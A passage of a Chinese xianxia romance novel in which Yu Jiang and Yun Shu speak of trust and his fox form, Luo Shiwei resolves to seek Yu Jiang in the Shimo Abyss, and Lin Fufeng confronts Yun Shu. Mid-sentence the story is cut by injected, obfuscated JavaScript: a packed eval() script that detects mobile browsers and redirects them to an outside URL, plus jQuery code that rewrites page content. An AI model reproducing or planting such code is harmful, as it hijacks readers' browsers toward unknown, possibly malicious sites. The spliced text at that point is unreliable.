相处久了,对于这样忽然出口的直白的质问,云述已是习以为常。
他的眼睫微沉,过了一会儿,才说:“我只是,觉得你……你救了我,所以我……”
“你这个借口用过好多次了。”
端茶倒水喂药之举再平常不过,玉姜从未主动要求他来做,甚至拒绝过好几回。
以灵力续命之恩,好借,也易还。
仔细算来,他这般殷勤体贴,自是早就还干净了。一言出,他果真怔住了。
谁知玉姜并未为难他,反而笑出了声,捧着个橘子笑得前仰后合,道:“你这么紧张做什么?我又不是在审问你——给我剥橘子。”
说罢,她将橘子抛给了他。
云述还没反应过来,动作也迟疑着。
看他还不言语,玉姜问:“一句话就吓着你了?我开玩笑的,我曾经的事,林扶风不都与你说了吗?就是我修习魔族邪术,被赶出仙门,沈晏川把我困在了此地。我就是一个十恶不赦……”
“我不信。”
直接的一句话,将玉姜剩下想说的悉数堵了回去。
云述剥去橘皮之后,将它轻轻放至玉姜的掌心,说:“我不会信,你也不用费尽心思编话骗我。我说过,你不想说的时候,我不问。”
再一次被云述的直白撞了个满怀。
看着掌心剥好的橘肉,在灯火之下澄亮,恍惚间发出金子般的色泽。玉姜慢慢地收拢指节,旋即抬眼看向云述。
他的眸色很淡,其间的情绪却又深似湖水,只不过被他恰到好处的笑意盖过去,她过往从未注意到。
她捏着橘子,忽然说:“我是浮月山的弃徒,不是好人。”
“你是。”
玉姜难得笑不出来:“你也太容易轻信旁人。你我虽朝夕相处了几个月,可是时日太短,你怎么就知道我的秉性?我的来历如何,过往如何,做了什么,你都不知。为何要下定论?”
云述却道:“我只信我感受到的。师父常说这话,你应当听过,还记得吗?”
玉姜因这句话屏住了呼吸。
他没说是谁的师父,只用了师父这两个字,默认了他们师出同门。
一句话,如同一根尖利的刺,轻易挑开了心腔最脆弱的那一层隔阂,将她整个人带回了曾经的浮月山,带回了那无拘无束的少年岁月。
“你早已知道我体内有幽火。修习幽火之人,急功近利,最为仙门所耻。”
“你是除了师父之外,第一个知道我是狐狸之后,却没有半点嫌恶的人。”
她每说一句,他便回一句。
认真缝合她扯开的口子。
缝合的方式,是袒露自己的柔软。
玉姜问:“你的意思是,除了师父和我,没有人知道这件事?你不想让别人知道吗?”
云述轻笑着:“对,会害怕。”
若是传扬出去,浮月山仙君不是修仙之人,反而是狐,说不定还是个作恶多端的妖邪,如此不仅毁损仙门声誉,更会将他推进痛苦煎熬的深渊。
别人会害怕,他亦然。
玉姜却道:“可是你变成狐狸时,好看。很好看。”
玉姜将这三个字重复地说了一遍,认真地看着云述的眼睛。
各种哄人的胡话她都说过,唯独这三个字是真心的。若非是被这只狐狸的漂亮给迷了心窍,她才不会在意噬魔渊中误闯进来个什么,更不会不由分说就抱回来。
或许出翁说的没错,她的确有些色令智昏。
温热的呼吸起伏,目光相接一瞬之后,玉姜才恍然察觉出,这样的距离似乎是近得不大对劲。她想往后退,却在这时听到他开口,声音飘浮着,似乎是雨后带着薄雾的竹林,沁凉而清越。
“可我觉得……”
“什么?”
“你才是。”
*
“此次华云宗论道,云述仙君未至也就罢了,浮月山竟一个人也没来。浮月作为众仙门之首,他们没到又算怎么回事?”
“那个沈仙师来了,只不过吃了个闭门羹,后来被赶出去了。这么不给浮月山面子的人,除了她罗时微,还当真找不出第二个。”
“这事儿可就说来话长了,当年罗时微纠缠沈晏川未果……”
闲话还没说完,一柄剑重重地拍在了喝茶的木桌上,震得路边的茶棚颤了三颤。
罗时微抱臂坐下,声音硬邦邦:“说下去。”
在华云宗的地界说罗家少主的闲话,还被听了个正着,现下又看到她这个能活剥人的脸色,任谁都要怕。
说话为首之人忙躬身致歉:“都是些无凭无据的话,冒犯了少主,是我们的错。”
罗时微唇角微扬,皮笑肉不笑地睨了他一眼,重复:“说下去。”
他们哪敢将方才的话说下去。
这些年,除了事关各仙门的大事,华云宗罗宗主几乎从未出面过,事事都是他的女儿亲自处理。而罗时微手段果决凌厉,足以威慑众人。
若非如此,也不敢明面上开罪浮月山。
“是我们多嘴多舌了,罗少主见谅,还请宽宥我们这一回。”
罗时微没再追问,毕竟他们口中能传出什么难听之言,她再清楚不过了。
一些与沈晏川的旧时瓜葛,能被人议论至现在,可一个活生生的人莫名其妙消失不见了,他们却连提也不敢提。
左不过是看她年纪轻,好欺负。
罗时微收回视线,面色冷峻,道:“现在滚,往后,不要让我在华云地界看到你们。”
“是,是。”
人已走出好远了,罗时微身边的女修白芷还是愤愤不平,对着那两个人的背影啐了一口,道:“这些人真是仙门弟子吗?合该告知了他们的宗主,割了舌头逐出去。”
罗时微抿唇冷笑:“闲言碎语堵不住。”
说罢,她拿剑便起身离开。
白芷小跑着跟在罗时微身后,唤道:“少主,咱们还是别去了吧。噬魔渊只在传闻中有,咱们谁又见过呢?就算真找到了,也不能确定玉姜姑娘真在里面。有进无出之地,听着就吓人。”
“可是玉姜没死,这几年影蝶却丝毫追不到她的气息。除了噬魔渊,我想不出浮月山还能用什么把戏困住她了。”
当年玉姜本就是负伤出走,留了一封信说是回了浮月山。
从那以后,竟全然没了消息。
以玉姜的性子,即使是遮掩灵息归
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002023|161802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
隐人间,也绝不会瞒着罗时微让她担心。
人们都说,玉姜身死魂消。
罗时微那时信了。
直到前几日,玄墟海波涌不止,华云宗的法器水明镜探出了玉姜的灵息。由于被魔气裹挟,分辨不清方位。
与玄墟海有关的魔气汹涌之地,她只能想到噬魔渊。
白芷还是不放心,不愿罗时微冒这个险,道:“可是我们并不知噬魔渊在何处,如此草率前往,只怕是要出岔子的。”
罗时微驻足,思索了片刻,道:“事情出在浮月山,我们便去浮月山。沈晏川给不出什么交待的话,云述仙君也得给我们华云宗一个面子。这件事,必须说清楚。”
*
渊中起了雾,四周都瞧不大清。
枯枝遍地,池水边上飘浮着未曾消退的薄冰。
浓雾中,隐约有一人的身影。
林扶风虽看不清,但想来除了云述之外也不会有旁人了。他朝着那个影子扔了一个小石子。察觉到的云述微微侧身,分毫不差地用手接住了石子。
他的眉眼间是平素没有的凌厉,在看清楚是林扶风之后,这才舒缓下来,问:“你跟着我做什么?”
林扶风抱臂而立,问:“你鬼鬼祟祟地做什么呢?这后山,幽火常年烧灼不休,寻常人入内,一刻之内必化为焦灰。你没事往这里跑,我总得知道原由。”
云述往回走,淡声说:“闲来无事,四处走一走。”
林扶风却不许他走,捉住了他的手臂,声音中带笑:“不说清楚别想走,万一你心存歹念要害阿姜怎么办?”
“我不会害她。”
“你不会是喜欢她吧?”
“……”
林扶风略微警惕地说:“不管你怎么想的,都死了这条心。我不同意。”
云述抬手拨开他的手,神色严肃,道:“我心里想什么与你无关。你心里想什么,于我而言不重要。我再说一遍,我只是闲来无事四处走一走。”
他转身欲走。
却听到林扶风在身后喊了一声:“而且我还知道,你来此处,是为了查看结界。你想出去。我告诉你,出去并不是毫无办法,我前段时间查探到,破解结界唯一的方法便在玄墟海中。我没告诉阿姜,是担心她涉险。你如果真心对她好,不如替她去看看啊?”
尽管他在喊话,云述却一步也未停,转顺便消失在了林子里。
入夜,玉姜睡不着,裹着衣衫出来,还打算顺道偷一坛出翁的酒。
为了不惊动出翁,她特意将步子放得轻缓。
谁知酒坛刚抱进怀里,出翁就醒了,裹着被子坐起来,冲玉姜笑。
玉姜跟着笑。
出翁拿着一根竹竿敲了敲放酒的架子,教训道:“我是不是说了,你在病中,一滴酒也不能沾?你怎么记不住呢?”
玉姜把酒放回去,声势也弱下来,道:“那……那就只喝一点。”
“一点也不行!此药须忌酒。”
罢了,反正是说不过出翁的。
玉姜正打算回去,却感觉到哪里不对,回头问:“云述呢?”
出翁与云述是住在一处的,而眼下云述所睡的那块寒石却空空如也。